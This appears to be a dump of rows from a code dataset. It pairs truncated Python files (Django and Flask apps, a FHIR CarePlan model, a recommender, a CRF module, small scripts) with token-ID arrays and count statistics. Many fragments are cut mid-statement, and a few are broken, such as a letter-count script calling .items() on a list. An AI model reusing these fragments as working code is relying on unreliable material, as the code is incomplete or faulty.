import pytest
from martha import negabs
from martha import normalise
from martha import labelEncoder
from martha import cleanUpString
from martha import medianFrequency
from martha import gini
import numpy as np
import pandas as pd
import json
from sklearn.preprocessing import LabelEncoder
# import os
# os.chdir("/Use... | [
11748,
12972,
9288,
198,
6738,
1667,
12898,
1330,
2469,
8937,
198,
6738,
1667,
12898,
1330,
3487,
786,
198,
6738,
1667,
12898,
1330,
6167,
27195,
12342,
198,
6738,
1667,
12898,
1330,
3424,
4933,
10100,
198,
6738,
1667,
12898,
1330,
14288,
... | 3.564356 | 101 |
# Example of CBF for research-paper domain
# Nguyen Dang Quang
from nltk.stem.snowball import SnowballStemmer
import pandas as pd
from nltk.corpus import stopwords
# --------------------------------------------------------
user_input_data = "It is known that the performance of an optimal control strategy obtained fro... | [
2,
17934,
286,
10078,
37,
329,
2267,
12,
20189,
7386,
198,
2,
42379,
360,
648,
2264,
648,
198,
198,
6738,
299,
2528,
74,
13,
927,
13,
82,
2197,
1894,
1330,
7967,
1894,
1273,
368,
647,
198,
11748,
19798,
292,
355,
279,
67,
198,
673... | 3.175359 | 1,534 |
import re
import collections
import extract_from_stata.model.common
assert (find_first_table_in(
"foo\nbar\nLinear regression\n\n----\nfoo\nbar\n\nlipsum\n")
== "Linear regression\n\n----\nfoo\nbar\n")
assert is_start_of_new_block(" birth_year |")
assert not is_start_of_new_block(
... | [
11748,
302,
198,
11748,
17268,
198,
198,
11748,
7925,
62,
6738,
62,
301,
1045,
13,
19849,
13,
11321,
628,
628,
198,
30493,
357,
19796,
62,
11085,
62,
11487,
62,
259,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3... | 2.179191 | 173 |
# Copyright (c) 2013, Wayzon and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document | [
2,
15069,
357,
66,
8,
2211,
11,
6378,
26361,
290,
20420,
198,
2,
1114,
5964,
1321,
11,
3387,
766,
5964,
13,
14116,
198,
198,
6738,
11593,
37443,
834,
1330,
28000,
1098,
62,
17201,
874,
198,
11748,
5306,
27768,
198,
6738,
5306,
27768,
... | 4.020833 | 48 |
"""Unit tests for nautobot_plugin_nornir."""
| [
37811,
26453,
5254,
329,
299,
2306,
672,
313,
62,
33803,
62,
77,
1211,
343,
526,
15931,
198
] | 2.647059 | 17 |
from flask_apispec import MethodResource
from flask_apispec import doc
from flask_jwt_extended import jwt_required, get_jwt_identity
from flask_restful import Resource
from db.db import DB
from decorator.catch_exception import catch_exception
from decorator.log_request import log_request
from utils.serializer import S... | [
6738,
42903,
62,
499,
271,
43106,
1330,
11789,
26198,
198,
6738,
42903,
62,
499,
271,
43106,
1330,
2205,
198,
6738,
42903,
62,
73,
46569,
62,
2302,
1631,
1330,
474,
46569,
62,
35827,
11,
651,
62,
73,
46569,
62,
738,
414,
198,
6738,
... | 3.55914 | 93 |
import math
import click
import dgl
import numpy as np
import torch
from src.builder import create_graph
from src.model import ConvModel
from src.utils_data import DataPaths, DataLoader, FixedParameters, assign_graph_features
from src.utils_inference import read_graph, fetch_uids, postprocess_recs
from src.train.run ... | [
11748,
10688,
198,
198,
11748,
3904,
198,
11748,
288,
4743,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
28034,
198,
198,
6738,
12351,
13,
38272,
1330,
2251,
62,
34960,
198,
6738,
12351,
13,
19849,
1330,
34872,
17633,
198,
6738,
12351,... | 1.93244 | 3,656 |
import numpy as np
| [
11748,
299,
32152,
355,
45941,
198
] | 3.166667 | 6 |
# coding=utf-8
from functools import partial
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from .seq_tools import aa2hot
from ..tools import io_tools as io
def preprocess_dataset(x_data, y_data=None, one_hot='x', padded=True, pad_y_data=False, nb_aa=20, min_aa=None... | [
2,
19617,
28,
40477,
12,
23,
198,
6738,
1257,
310,
10141,
1330,
13027,
198,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
19798,
292,
355,
279,
67,
198,
6738,
1341,
35720,
13,
19849,
62,
49283,
1330,
4512,
62,
9288,
62,
35312,
198,
... | 2.088795 | 1,419 |
"""Turn time in seconds into a readable string.
"""
import math
from typing import Union, Tuple
TIME_UNITS = ( # Order matters
("days", 24 * 60 * 60),
("hours", 60 * 60),
("minutes", 60),
("seconds", 1),
("milliseconds", 1 / 1000),
("microseconds", 1 / 1000_000),
)
def format_seconds(seconds... | [
37811,
17278,
640,
287,
4201,
656,
257,
31744,
4731,
13,
198,
37811,
198,
11748,
10688,
198,
6738,
19720,
1330,
4479,
11,
309,
29291,
198,
198,
34694,
62,
4944,
29722,
796,
357,
220,
1303,
8284,
6067,
198,
220,
220,
220,
5855,
12545,
... | 2.556005 | 741 |
"""
File name: view.py
Author: joeschmid
Date created: 4/8/17
"""
import json
from collections import OrderedDict
try:
from textwrap import indent
except ImportError:
from .util import indent
from .base_generator import BaseGenerator
from .field import FieldType
| [
37811,
198,
220,
220,
220,
9220,
1438,
25,
1570,
13,
9078,
198,
220,
220,
220,
6434,
25,
2525,
274,
354,
13602,
198,
220,
220,
220,
7536,
2727,
25,
604,
14,
23,
14,
1558,
198,
37811,
198,
11748,
33918,
198,
6738,
17268,
1330,
14230,... | 3.075269 | 93 |
import os
from flask import jsonify
from utils import generate_text_from_model
| [
11748,
28686,
198,
198,
6738,
42903,
1330,
33918,
1958,
198,
6738,
3384,
4487,
1330,
7716,
62,
5239,
62,
6738,
62,
19849,
628
] | 3.681818 | 22 |
from setuptools import setup, find_packages
from pip._internal.req.req_file import parse_requirements
from pip._internal.download import PipSession
from os import path
from smsgateway import __version__
# Lists of requirements and dependency links which are needed during runtime, testing and setup
install_requires =... | [
6738,
900,
37623,
10141,
1330,
9058,
11,
1064,
62,
43789,
198,
6738,
7347,
13557,
32538,
13,
42180,
13,
42180,
62,
7753,
1330,
21136,
62,
8897,
18883,
198,
6738,
7347,
13557,
32538,
13,
15002,
1330,
25149,
36044,
198,
198,
6738,
28686,
... | 3.010101 | 594 |
# Authors: Thierry Moudiki
#
# License: BSD 3
import numpy as np
from ..utils import parse_request
from ..utils import memoize
# filtr(df, 'tip > 5')
# req = "(time == 'Dinner') & (day == 'Sun') & (tip>1.5)"
# filtr(df, req, limit=3, random=False)
# filtr(df, req, limit=4, random=True)
#
# req = "(tip>1.5)"
# filtr... | [
2,
46665,
25,
536,
959,
563,
337,
2778,
5580,
198,
2,
198,
2,
13789,
25,
347,
10305,
513,
628,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
11485,
26791,
1330,
21136,
62,
25927,
198,
6738,
11485,
26791,
1330,
16155,
1096,
628,
198,
... | 2.354244 | 271 |
import pyspark.sql.functions as F
| [
11748,
279,
893,
20928,
13,
25410,
13,
12543,
2733,
355,
376,
628,
628,
198
] | 2.714286 | 14 |
import numpy as np
import math
Esubo = 8.854 * pow(10,-12)
k = 8.988 * pow(10,9)
calcCharge() | [
11748,
299,
32152,
355,
45941,
198,
11748,
10688,
198,
198,
36,
7266,
78,
796,
807,
13,
23,
4051,
1635,
7182,
7,
940,
12095,
1065,
8,
198,
74,
796,
807,
13,
24,
3459,
1635,
7182,
7,
940,
11,
24,
8,
628,
220,
220,
220,
220,
198,
... | 2.02 | 50 |
"""
The :mod:`expert.layers.divisive_normalisation` module holds classes of
layers for a network that use divisive normalisation. This includes
generalised divisive normalisation.
"""
# Author: Alex Hepburn <alex.hepburn@bristol.ac.uk>
# License: new BSD
import torch
import torch.nn as nn
import torch.nn.functional as... | [
37811,
198,
464,
1058,
4666,
25,
63,
1069,
11766,
13,
75,
6962,
13,
7146,
13911,
62,
11265,
5612,
63,
8265,
6622,
6097,
286,
198,
75,
6962,
329,
257,
3127,
326,
779,
29656,
3487,
5612,
13,
770,
3407,
198,
24622,
1417,
29656,
3487,
5... | 3.175926 | 108 |
import numpy as np
import argparse
import scipy.linalg
from mpl_toolkits.mplot3d import Axes3D
from skimage.draw import polygon
import matplotlib.pyplot as plt
import glob
from sklearn import datasets, linear_model
import pdb
import time
parser = argparse.ArgumentParser()
parser.add_argument('--folder', default = "")
... | [
11748,
299,
32152,
355,
45941,
198,
11748,
1822,
29572,
198,
11748,
629,
541,
88,
13,
75,
1292,
70,
198,
6738,
285,
489,
62,
25981,
74,
896,
13,
76,
29487,
18,
67,
1330,
12176,
274,
18,
35,
198,
6738,
1341,
9060,
13,
19334,
1330,
... | 2.527397 | 292 |
# automatically generated by the FlatBuffers compiler, do not modify
# namespace: flatbuf
# /// ----------------------------------------------------------------------
# /// The possible types of a vector
| [
2,
6338,
7560,
416,
262,
21939,
36474,
364,
17050,
11,
466,
407,
13096,
198,
198,
2,
25745,
25,
6228,
29325,
198,
198,
2,
34013,
16529,
23031,
198,
2,
34013,
383,
1744,
3858,
286,
257,
15879,
628
] | 5.75 | 36 |
MAX_INST_PARAM_COUNT = 3
if __name__ == '__main__':
with open('input', 'r') as input_file:
input_file_contents = input_file.readline()
part1(input_file_contents)
part2(input_file_contents)
| [
22921,
62,
38604,
62,
27082,
2390,
62,
34,
28270,
796,
513,
628,
628,
628,
628,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
351,
1280,
10786,
15414,
3256,
705,
81,
11537,
355,
5128,
62,
7753,
2... | 2.205882 | 102 |
"""
Tests for `coloripy` module.
"""
import numpy as np
from math import isclose
import coloripy as cp
| [
37811,
198,
51,
3558,
329,
4600,
8043,
541,
88,
63,
8265,
13,
198,
37811,
198,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
10688,
1330,
318,
19836,
198,
11748,
3124,
541,
88,
355,
31396,
628
] | 3 | 35 |
#!/usr/bin/env python3
from rtmidi.midiconstants import SONG_POSITION_POINTER, TIMING_CLOCK, SONG_START, SONG_CONTINUE, SONG_STOP
from .clock_abstract import ClockAbstract
from .midi_input import MidiInput
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
198,
6738,
374,
83,
13602,
72,
13,
13602,
4749,
301,
1187,
1330,
311,
18494,
62,
37997,
17941,
62,
16402,
41358,
11,
31742,
2751,
62,
5097,
11290,
11,
311,
18494,
62,
2257,
7227,
... | 2.679487 | 78 |
# -*- coding: utf-8 -*-
"""
Profile: http://hl7.org/fhir/StructureDefinition/CarePlan
Release: DSTU2
Version: 1.0.2
Revision: 7202
"""
from typing import Any, Dict
from typing import List as ListType
from pydantic import Field, root_validator
from . import fhirtypes
from .backboneelement import BackboneElement
from .... | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
37811,
198,
37046,
25,
2638,
1378,
18519,
22,
13,
2398,
14,
69,
71,
343,
14,
1273,
5620,
36621,
14,
17784,
20854,
198,
26362,
25,
360,
2257,
52,
17,
198,
14815,
25,
... | 3.094017 | 117 |
"""
Socket-only coroutine operations and `Socket` wrapper.
Really - the only thing you need to know for most stuff is
the :class:`~cogen.core.sockets.Socket` class.
"""
#TODO: how to deal with requets that have unicode params
__all__ = [
'getdefaulttimeout', 'setdefaulttimeout', 'Socket', 'SendFile', 'Re... | [
37811,
201,
198,
39105,
12,
8807,
1162,
28399,
4560,
290,
4600,
39105,
63,
29908,
13,
201,
198,
26392,
532,
262,
691,
1517,
345,
761,
284,
760,
329,
749,
3404,
318,
201,
198,
1169,
1058,
4871,
25,
63,
93,
66,
6644,
13,
7295,
13,
8... | 2.649171 | 362 |
from flask import Blueprint, current_app, send_from_directory
BLUEPRINT_SIDE = Blueprint('side', __name__)
| [
6738,
42903,
1330,
39932,
11,
1459,
62,
1324,
11,
3758,
62,
6738,
62,
34945,
198,
198,
9148,
8924,
4805,
12394,
62,
50,
14114,
796,
39932,
10786,
1589,
3256,
11593,
3672,
834,
8,
628
] | 3.30303 | 33 |
t=input("Type a string")
s=t.lower()
alll="abcdefghijklmnopqrstuvwxyz1234567890"
for c in alll:
d={c:s.count(c) for c in s}
dt=sorted(d.items(), key=lambda x: x[1], reverse=True)
for k,v in dt.items():
print(k,":",v)
| [
83,
28,
15414,
7203,
6030,
257,
220,
4731,
4943,
198,
82,
28,
83,
13,
21037,
3419,
198,
282,
297,
2625,
39305,
4299,
456,
2926,
41582,
10295,
404,
80,
81,
301,
14795,
86,
5431,
89,
10163,
2231,
30924,
3829,
1,
198,
1640,
269,
287,
... | 2.017857 | 112 |
from sys import argv
from executor_exporter.exporter import metrics
if __name__ == "__main__":
readme_path = argv[1]
update_readme_metrics(readme_path)
| [
6738,
25064,
1330,
1822,
85,
198,
198,
6738,
3121,
273,
62,
1069,
26634,
13,
1069,
26634,
1330,
20731,
628,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
1100,
1326,
62,
6978,
796,
1822,
85,
... | 2.603175 | 63 |
import accounts.models
import django.core.validators
from django.db import migrations, models
| [
11748,
5504,
13,
27530,
198,
11748,
42625,
14208,
13,
7295,
13,
12102,
2024,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
11,
4981,
628
] | 3.8 | 25 |
___assertIs(not {}, True)
___assertTrue({1: 2})
___assertIs(bool({}), False)
___assertIs(bool({1: 2}), True)
| [
17569,
30493,
3792,
7,
1662,
1391,
5512,
6407,
8,
198,
17569,
30493,
17821,
15090,
16,
25,
362,
30072,
198,
17569,
30493,
3792,
7,
30388,
15090,
92,
828,
10352,
8,
198,
17569,
30493,
3792,
7,
30388,
15090,
16,
25,
362,
92,
828,
6407,
... | 2.477273 | 44 |
from django import forms
from django.utils.translation import gettext_lazy as _
from django.conf import settings
from django.core.exceptions import ValidationError
from datetime import datetime, timedelta
from crispy_forms.helper import FormHelper
from crispy_forms.layout import Layout, Div, Submit
from danceschool.c... | [
6738,
42625,
14208,
1330,
5107,
198,
6738,
42625,
14208,
13,
26791,
13,
41519,
1330,
651,
5239,
62,
75,
12582,
355,
4808,
198,
6738,
42625,
14208,
13,
10414,
1330,
6460,
198,
6738,
42625,
14208,
13,
7295,
13,
1069,
11755,
1330,
3254,
24... | 4.006536 | 153 |
import torch
import torch.nn as nn
from torch.nn.parameter import Parameter
from typing import List, Tuple, Dict
import numpy as np
from torch.autograd import Variable
def allowed_transitions(constraint_type: str, labels: Dict[int, str]) -> List[Tuple[int, int]]:
"""
Given labels and a constraint type... | [
11748,
28034,
198,
11748,
28034,
13,
20471,
355,
299,
77,
198,
6738,
28034,
13,
20471,
13,
17143,
2357,
1330,
25139,
2357,
198,
6738,
19720,
1330,
7343,
11,
309,
29291,
11,
360,
713,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
28034,... | 2.213649 | 2,242 |
# Copyright 2008-2015 Nokia Networks
# Copyright 2016- Robot Framework Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
... | [
2,
220,
15069,
3648,
12,
4626,
26182,
27862,
198,
2,
220,
15069,
1584,
12,
220,
220,
220,
220,
16071,
25161,
5693,
198,
2,
198,
2,
220,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
2... | 2.907801 | 564 |
from colorama import Fore
good = Fore.GREEN + '[*]' + Fore.RESET
bad = Fore.RED + '[!]' + Fore.RESET
warning = Fore.RED + '[$]' + Fore.RESET
excellent = Fore.CYAN + '[$]' + Fore.RESET
debug_point = Fore.RED + '{*}' + Fore.RESET | [
6738,
3124,
1689,
1330,
4558,
198,
198,
11274,
796,
4558,
13,
43016,
1343,
44438,
9,
49946,
1343,
4558,
13,
19535,
2767,
198,
14774,
796,
4558,
13,
22083,
1343,
44438,
36463,
6,
1343,
4558,
13,
19535,
2767,
198,
43917,
796,
4558,
13,
... | 2.590909 | 88 |
"""Define Gaussian function objects.
This module defines the Gaussian class and the GaussianRange class.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from builtins import object
import numpy as np
from six.moves import range
| [
37811,
7469,
500,
12822,
31562,
2163,
5563,
13,
198,
198,
1212,
8265,
15738,
262,
12822,
31562,
1398,
290,
262,
12822,
31562,
17257,
1398,
13,
198,
198,
37811,
198,
198,
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
198,
6738,
11593,
... | 3.986667 | 75 |
import requests
import re
from urlparse import urlparse
from bs4 import BeautifulSoup
from collections import defaultdict
if __name__ == "__main__":
import sys
saving_zelda = SavingZelda(sys.argv[1])
saving_zelda.run()
| [
11748,
7007,
198,
11748,
302,
198,
6738,
19016,
29572,
1330,
19016,
29572,
198,
6738,
275,
82,
19,
1330,
23762,
50,
10486,
198,
6738,
17268,
1330,
4277,
11600,
628,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,... | 3 | 78 |
"""forms_project URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class... | [
37811,
23914,
62,
16302,
10289,
28373,
198,
198,
464,
4600,
6371,
33279,
82,
63,
1351,
11926,
32336,
284,
5009,
13,
1114,
517,
1321,
3387,
766,
25,
198,
220,
220,
220,
3740,
1378,
31628,
13,
28241,
648,
404,
305,
752,
13,
785,
14,
2... | 2.888889 | 468 |